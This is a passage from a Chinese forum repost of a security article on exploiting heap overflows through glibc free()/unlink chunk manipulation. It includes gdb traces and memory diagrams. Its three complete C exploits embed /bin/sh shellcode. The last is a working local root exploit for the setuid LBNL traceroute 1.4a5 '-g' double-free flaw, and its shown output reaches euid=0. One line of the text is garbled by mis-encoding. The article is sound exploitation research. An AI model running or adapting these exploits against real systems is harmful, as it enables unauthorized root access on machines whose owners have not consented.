|
楼主 |
发表于 2003-7-3 22:56:21
|
显示全部楼层
5. 一个演示程序
下面我们就可以来写溢出程序了,其实是相当简单的:
- /* Exploit for free() with unlinking next chunk - ex.c
- * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
- * 2001/03/06
- */
- #include <stdio.h>
- #include <stdlib.h>
- #define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
- #define VULPROG "./vul"
- #define PREV_INUSE 0x1
- #define IS_MMAPPED 0x2
- char shellcode[] =
- "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- main (int argc, char **argv)
- {
- unsigned int codeaddr = 0;
- char buf[128], fake_chunk[16];
- char *env[2];
- unsigned int *ptr;
- /* 计算shellcode在堆栈中的地址 */
- codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
- env[0] = shellcode;
- env[1] = NULL;
- /* 伪造一个块结构 */
- ptr = (unsigned int *) fake_chunk;
- *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
- /* 设置长度为-4,这个值应当是4的倍数 */
- *ptr++ = 0xfffffffc;
- *ptr++ = __FREE_HOOK - 12 ;
- *ptr++ = codeaddr;
-
- bzero(buf, 128);
- memset (buf, 'A', 16); /* 填充无用数据 */
- memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
-
- execle (VULPROG, VULPROG, buf, NULL, env);
- } /* End of main */
复制代码
运行一下看看:
[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA???????瑧@???
0x8049780 [ buf1 ] (08) : 瑧@???
From buf to buf1 : 24
Before free buf
Before free buf1
bash$ <--- 成功了!!
是不是很简单?:-)
小节:
现在我们总结一下利用free(mem)来进行攻击的基本步骤。假设chunk是该块内部
结构的指针(chunk = mem - 8)。
我们有两种方法:
1. 如果我们想利用上一块的unlink进行攻击,需要保证:
I. chunk->size的IS_MMAPPED位为零
II. chunk->size的PREV_INUSE位为零
III. chunk + chunk->prev_size指向一个我们控制的伪造块结构;
IV. 在一个确定的位置构造一个伪块
2. 如果想利用下一个块的unlink进行攻击,需要保证:
I. chunk->size的IS_MMAPPED位为零
II. chunk->size的PREV_INUSE位为一
III. chunk + nextsz 指向一个我们控制的伪造块结构。
(nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED))
IV. 在一个确定的位置构造一个伪块
其中伪块(fake_chunk)的结构如下:
fake_chunk[0] = 0x11223344 & ~PREV_INUSE (只在第2种情况下有意义)
fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); (只在第2种情况下有意义)
fake_chunk[8] = objaddr - 12 ; (objaddr是要覆盖的目标地址)
fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)
至于具体使用上面哪种方法,需要根据实际情况确定。例如,如果你不能控制
chunk->prev_size使其指向我们的伪块,那就不能用第一种方法了。
我们再看一个利用上一块的unlink进行攻击的例子,只要将弱点程序的free(buf1)放到
free(buf)前面即可,这样我们所free的buf1就是一个我们可以控制的内存块了。
改动后的vul.c如下:
...
printf ("Before free buf1\n");
free (buf1); /* 释放buf1 */
printf ("Before free buf\n");
free (buf); /* 释放buf */
...
看看我们的新演示程序吧:
- /* Exploit for free() with unlinking previous chunk - ex1.c
- * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
- * 2001/03/06
- */
- #include <stdio.h>
- #include <stdlib.h>
- #define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
- #define VULPROG "./vul"
- #define PREV_INUSE 0x1
- #define IS_MMAPPED 0x2
- char shellcode[] =
- "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据 */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- main (int argc, char **argv)
- {
- unsigned int codeaddr = 0;
- char buf[128], fake_chunk[16];
- char *env[2];
- unsigned int *ptr;
- /* 计算shellcode在堆栈中的地址 */
- codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
- env[0] = shellcode;
- env[1] = NULL;
- /* 伪造一个块结构。 */
- ptr = (unsigned int *) fake_chunk;
- *ptr++ = 0x11223344 & ~PREV_INUSE;
- *ptr++ = 0xfffffffc;
- *ptr++ = __FREE_HOOK - 12;
- *ptr++ = codeaddr;
- bzero (buf, 128);
- memset (buf, 'A', 16);
- ptr = (unsigned int *) (buf + 16);
-
- /* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */
- *ptr++ = 0xfffffff8;
-
- /* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,
- * 如果要为正值,必须找到堆栈里的一个有效值,还要计算偏移,太麻烦。
- * 同时要清两个标记。满足I.,II.条
- */
- *ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);
-
- /* 将伪造的块放到确定位置。满足第IV条 */
- memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));
- execle (VULPROG, VULPROG, buf, NULL, env);
- }/* End of main */
复制代码
让我们再来测试一下:
[warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c
[warning3@redhat-6 malloc]$ ./ex1
0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??????D3"????瑧@???
0x8049780 [ buf1 ] (16) : D3"????瑧@???
From buf to buf1 : 24
Before free buf1 <-- 先释放buf1
Before free buf
bash$ exit
6. 实例: Traceroute "-g"问题
有了上面的演示程序。我们再来看一个真实世界的例子。
Traceroute是用来检查通往目标网络的路由情况的一个工具,很多Unix系统都安
装了这个软件。由于traceroute需要操纵原始套接字,因此通常被设置了setuid
root属性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National
Laboratory)存在一个安全漏洞,可以被攻击者用来非法获取root权限。
这个漏洞主要是由于free()函数错误得去释放一块已经释放的内存所引起的。
首先我们看一下traceroute的漏洞出在那里。traceroute使用了一个savestr()函数,它
在savestr.c中,它的作用类似strdup(),用来复制一个字符串。它会自动调用malloc()分
配一块较大的内存空间, 并记录下调用完毕后剩余空间的大小。如果用户下次调用
savestr()时,所需内存比剩余空间还小,就不再调用malloc(),而是直接从已分配的空
间中返回一个地址,这样可以减少调用malloc()的次数。然而,这给用户确定何时需要释
放那块分配的内存带来了麻烦,traceroute中没有仔细考虑这一点,而是将savestr()等
同与strdup()来使用,每次调用savestr()完毕后总会调用free()函数释放内存。因此,
当第二次调用savestr()后,free()所释放的内存,实际上是一块未被分配的内存(因为
这块内存已经被第一次free()所释放了)!
下面舛尉褪莝avestr()的代码:
- <...>
- /* A replacement for strdup() that cuts down on malloc() overhead */
- char *
- savestr(register const char *str)
- {
- register u_int size;
- register char *p;
- static char *strptr = NULL;
- static u_int strsize = 0;
- size = strlen(str) + 1;
- if (size > strsize) {
- strsize = 1024;
- if (strsize < size)
- strsize = size;
- /* 只有size>strsize的情况下才调用malloc*/
- strptr = (char *)malloc(strsize);
- if (strptr == NULL) {
- fprintf(stderr, "savestr: malloc\n");
- exit(1);
- }
- }
- (void)strcpy(strptr, str);
- p = strptr;
- strptr += size;
- strsize -= size;
- return (p);
- }
- <...>
复制代码
我们看一下两次调用savestr()时的情形:
<1>. p = savestr(S)
假设字符串S长度为l(l<1024),则第一次调用savestr(),它会分配1024
字节长的缓冲区来储存S:
|<----------------------- 1024 bytes -------------------->|
+----------------------------+----------------------------+
| S[0] S[1] ... S[l-1] \0 | junk |
+----------------------------+----------------------------+
^ ^
|__ p |___ strptr
这时候剩余空间strsize为: (1024 - l - 1)
strptr指向 junk的起始
<2>. free(p)
第一次free()会释放p指向的这块缓冲区(1024字节),它会放一些数据在缓
冲区的开头
|<----------------------- 1024 bytes -------------------->|
+-------+--------------------+----------------------------+
| junk1 | S[k] ... S[l-1] \0 | junk |
+-------+--------------------+----------------------------+
^
|___ strptr
这时候p所指向的1024字节大小的缓冲区已经被释放了。
<3>. p = savestr(T)
第二次调用savestr()时,如果字符串T的长度小于strsize(1024 -l -1),
那么savestr()就不会再次调用malloc()分配新内存,而是直接调用了:
....
(void)strcpy(strptr, str);
p = strptr;
strptr += size;
strsize -= size;
return (p);
....
将字符串T拷贝到junk的起始处,而实际上,这块内存已经被释放了!
拷贝的结果如下:
|<----------------------- 1024 bytes -------------------->|
+-------+--------------------+--------------------+-------+
| junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 | junk2|
+-------+--------------------+--------------------+-------+
^ ^
|__ p |___ strptr
这时,strptr指向了junk2处,strsize = 1024 -l -1 -n -1
p指向原来的chunk起始处。
<4>. free(p)
第二次调用free()时,所指向的实际上是一个未分配的缓冲区,这就导致
一个严重错误。我们看到既然S和T都是我们可以控制的,那么我们就可以
利用前面所说的两种方法中的任意一种来进行攻击!
下面就是调用'-g'参数时函数执行的一个简单流程。
- main()
- ....
- case 'g':
- ...
- getaddr(gwlist + lsrr, optarg);
- getaddr(register u_int32_t *ap, register char *hostname)
- {
- register struct hostinfo *hi;
- (1) hi = gethostinfo(hostname);
- *ap = hi->addrs[0];
- (2) freehostinfo(hi);
- }
- struct hostinfo *
- gethostinfo(register char *hostname)
- {
- ...
- (3) hi = calloc(1, sizeof(*hi));
- ...
- addr = inet_addr(hostname);
- if ((int32_t)addr != -1) {
- (4) hi->name = savestr(hostname);
- hi->n = 1;
- (5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
- ...
- (6) hi->addrs[0] = addr;
- return (hi);
- }
复制代码
我们看到,每次getaddr中都会释放hostinfo结构中的每个成员,包括hi->name.(1)
而再第二次调用gethostinfo()时,又会经历两次calloc操作(3,5),以及一次赋值
操作(6)。因此看起来并不象我们原来想象的那么简单,关键在于我们能否控制第
二次free的那块内存的内部结构成员:chunk->size或者是chunk->prev_size.
让我们来跟踪一下:
[root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q
(gdb) b gethostinfo
Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220.
(gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1
Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g
111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1
Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111")
at ./traceroute.c:1220
1220 hi = calloc(1, sizeof(*hi));
(gdb) n
1221 if (hi == NULL) {
(gdb) n
1225 addr = inet_addr(hostname);
(gdb) n
1226 if ((int32_t)addr != -1) {
(gdb) p/x addr <-- 这是hostname转换后的地址(111.111.111.111)
$2 = 0x6f6f6f6f
(gdb) n <-- 下一步要为hostname分配1024字节内存
1227 hi->name = savestr(hostname);
(gdb) n
1228 hi->n = 1;
(gdb) p/x hi->name <-- 这是第一次分配返回的地址
$3 = 0x804d518
(gdb) x/8x hi->name -8
[prev_size] [size] [data...]
0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
(gdb) n <-- 又动态分配了一块内存
1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb)
1230 if (hi->addrs == NULL) {
(gdb) p/x hi->addrs <-- 这块内存是分配在hi->name + 0x400+8这个地址
$4 = 0x804d920
(gdb) n
1235 hi->addrs[0] = addr;
(gdb) n
1236 return (hi);
(gdb) x/x hi->addrs
0x804d920: 0x6f6f6f6f <-- 注意,将addr存在这个地址了。
(gdb) c
Continuing.
Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99")
at ./traceroute.c:1220
1220 hi = calloc(1, sizeof(*hi));
[ 这时,前面分配的内存已经全被释放了 ]
(gdb) p/x 0x804d510 <-- 我们看看原来的hi->name内存的情况
$5 = 0x804d510
(gdb) x/10x 0x804d510
[prev_size] [size] [data...]
0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
0x804d530: 0x00000000 0x00000000
[ 我们看到我们原来的数据(16个字节)已经改变了 ]
(gdb) n
1221 if (hi == NULL) {
(gdb) x/10x 0x804d510 <--- 执行完第一个calloc(),后,prev_size被清零了。
[prev_size] [size] [data...]
0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
0x804d530: 0x00000000 0x00000000
(gdb) n
1225 addr = inet_addr(hostname);
(gdb) n
1226 if ((int32_t)addr != -1) {
(gdb) p/x addr <-- 这里意味着我们可以构造一个任意的值,并赋给addr
$6 = 0x99887766
(gdb) n
1227 hi->name = savestr(hostname); <--再次调用savestr()
(gdb) n
1228 hi->n = 1;
(gdb) p/x hi->name
$7 = 0x804d528 <-- 注意!hi->name的起始位置 =
0x804d518 + 第一个-g参数的长度(16)
(gdb) x/12x 0x804d510
0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80
0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
[ 第二个参数的内容从*号处开始 ]
(gdb) n <-- 下面这个calloc将再分配一段内存
1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb) n
1230 if (hi->addrs == NULL) {
(gdb) p/x hi->addrs < --- 这个地址就是我们第一次savestr()时得到的地址!!!
$8 = 0x804d518
(gdb) p/x sizeof(hi->addrs[0])
$9 = 0x4
(gdb) x/12x 0x804d510 <---
[prev_size] [size] [data...]
0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000
0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
[ 从上面看到,新分配的内存也是从0x804d510开始的,而且将用户数据区的前8个
字节清零。最顶上的块也移动了16个字节,将0x804d520,0x804d524两个地址的
数据覆盖了。
]
(gdb) n
1235 hi->addrs[0] = addr;
(gdb) p/x hi->addrs[0]
$10 = 0x0
(gdb) n
1236 return (hi);
(gdb) p/x hi->addrs[0]
$11 = 0x99887766
(gdb) p/x &hi->addrs[0]
$12 = 0x804d518
(gdb) x/12x 0x804d510
[prev_size] [size] [data...]
0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000
0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
[ 注意,addr = 0x99887766被存到了0x804d518处,这个值是我们能控制的 ]
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x40073f73 in free () at malloc.c:2952
2952 malloc.c: No such file or directory.
[ 在试图free *号开始地址的内存时出错 ]
为了更容易理解一下,我们可以看一下两次调用savestr()时的图:
第一次调用savestr()后,返回地址p0:
|<----------------------- 1024 bytes -------------------->|
+----------------------------+----------------------------+
| "111.111.111.111" \0 | junk |
+----------------------------+----------------------------+
^
|__ p0
在第二次savestr()后,p0移动到一个新的位置p1=p0 + strlen(hostname) +1。
由于执行了一个calloc()操作,导致从p2开始的12个字节是我们不能控制的.
而幸运的是,由于有一个"hi->addrs[0] = addr"操作,使得p2前面的四个
字节是我们能控制的
|<----------------------- 1024 bytes -------------------->|
+--------+----------------------+---------------------+---+
|99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...|
+--------+----------------------+---------------------+---+
| 4字节 |<--- 12字节 --->| ^
p0 p2 |__ p1
接下来要free(p1)了。根据前面介绍的方法,如果要想利用free(p1),
我们必须能控制p1-4(size)或者p1-8(prev_size)的内容,既然我们能控制
p0开始的4个字节,如果我们能设法使得p1与p2重合,那么我们不就可以
控制p1-4了吗?这样就要求第一个"-g"参数长度为3字节,例如"1.1"
再加上最后的'\0',长度就刚好是4字节了。
|<----------------------- 1024 bytes -------------------->|
+--------+------------------------------------------------+
| "1.1"\0| |
+--------+------------------------------------------------+
| 4字节 |
p0
|<----------------------- 1024 bytes -------------------->|
+--------+------------------------------------------------+
| "1.1"\0|"0x66.0x77.0x88.0x99"\0 |
+--------+------------------------------------------------+
| 4字节 |
p0 p1
|<----------------------- 1024 bytes -------------------->|
+--------+----------------------------+-------------------+
|99887766|0000 0000 0x0ae1|"88.0x99"\0|... |
+--------+----------------------------+-------------------+
| 4字节 |<--- 12字节 --->|<--8字节-->|
p0 p2(p1)
那么下一步的关键就是如何设置chunk->size,以及将我们的伪造的块放在
什么地方了。
inet_addr()有一个"特性",如果你输入"1.2.3.4 AAAAAA"(注意空格后面
还添加了一些'A'),它并不会报错,返回值为0x04030201.如果输入
"0xaa.0xbb.0xcc.0xdd AAA"这样的字符串,返回值就是0xddccbbaa.我们
可以将伪造的块放在空格后面,将chunk->size放在0xaa.0xbb.0xcc.0xdd
中。例如,第二个"-g"参数使用"0x1d.0x00.0x00.0x00 fake_chunk"
这样得到的chunk->size=0x0000001d。
0x1d这个值是怎么算出来的呢?
chunk = p1 -8
fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ")
= p1 + 20
= chunk + 8 + 20
= chunk + 28
= chunk + 0x1c
(0x1c | PREV_INUSE) ==> 0x1d
有人也许会说,为什么不将第一个参数长度设得比较大,例如,超过16
字节,这样16字节后面的部分也会在我们的控制之下,利用这些部分来
构造一个prev_size和size不是更方便吗?我开始也是这么考虑的,但是
实际测试时发现,p2所代表块的已经是top块,就是最顶上的块。free(p1)
时,要求p1-8地址低于p2,因此这种方法行不通。
OK,到这里可以说是大功告成了,下面就可以开始写测试程序了。我们利用的
是unlink下一个块的方法。你会发现,一旦原理搞清楚了,这个测试程序是相
当简洁的。 唯一需要知道的,就是__free_hook的地址.如果你有对
/usr/sbin/traceroute的读权限,可以将它拷贝到一个临时目录下,然后使用
gdb,将断点设在exit,然后获取__free_hook.如果没有读权限,可以增加一个
偏移量,自动测试可能的__free_hook,一般按照0x10来递增或递减即可。
- /* Exploit for LBNL traceroute with unlinking nextchunk
- * - traceroute-ex.c
- *
- * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
- * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
- *
- * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
- * 2001/03/08
- */
- #include <stdio.h>
- #include <stdlib.h>
- #define __FREE_HOOK 0x401091b8 /* __free_hook地址 */
- #define VULPROG "/usr/sbin/traceroute"
- #define PREV_INUSE 0x1
- #define IS_MMAPPED 0x2
- char shellcode[] =
- "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据 */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- main (int argc, char **argv)
- {
- unsigned int codeaddr = 0;
- char buf[128],fake_chunk[16];
- char *env[2];
- unsigned int *ptr;
- /* 计算shellcode在堆栈中的地址 */
- codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
- env[0] = shellcode;
- env[1] = NULL;
- /* 伪造一个块结构。 */
- ptr = (unsigned int *) fake_chunk;
- *ptr++ = 0x11223344 & ~PREV_INUSE;
- *ptr++ = 0xfffffffc;
- *ptr++ = __FREE_HOOK - 12;
- *ptr++ = codeaddr;
- bzero (buf, 128);
- /* 设置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */
- memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);
- memcpy(buf+20, fake_chunk, 16);
- execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);
- }/* End of main */
复制代码
测试结果:
[warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c
[warning3@redhat-6 malloc]$ ./ex3
bash# id
uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users)
bash#
★ 结束语:
malloc/free的问题使得在某些平台/系统下,Heap区溢出的危险性大大增加了,
值得引起我们的重视。另外,除了free()可能出问题外,realloc()也可能出问题。
有兴趣的读者可以自行参看一下realloc()的代码。
最初想写这篇文档是在去年10月份,后来由于种种原因,一直拖了下来,
为此被scz骂了很多次。 现在总算完成了。
★ 感谢:
感谢Solar Designer,Chris Evans,dvorak,Michel Kaempf无私地奉献了他
们的研究成果。(参见参考文献.)
★ 参考文献:
[1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>>
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
[2] Chris Evans, <<Very interesting traceroute flaw>>
http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html
[3] dvorak , <<Traceroute exploit + story>>
http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html
[4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>>
http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html |
|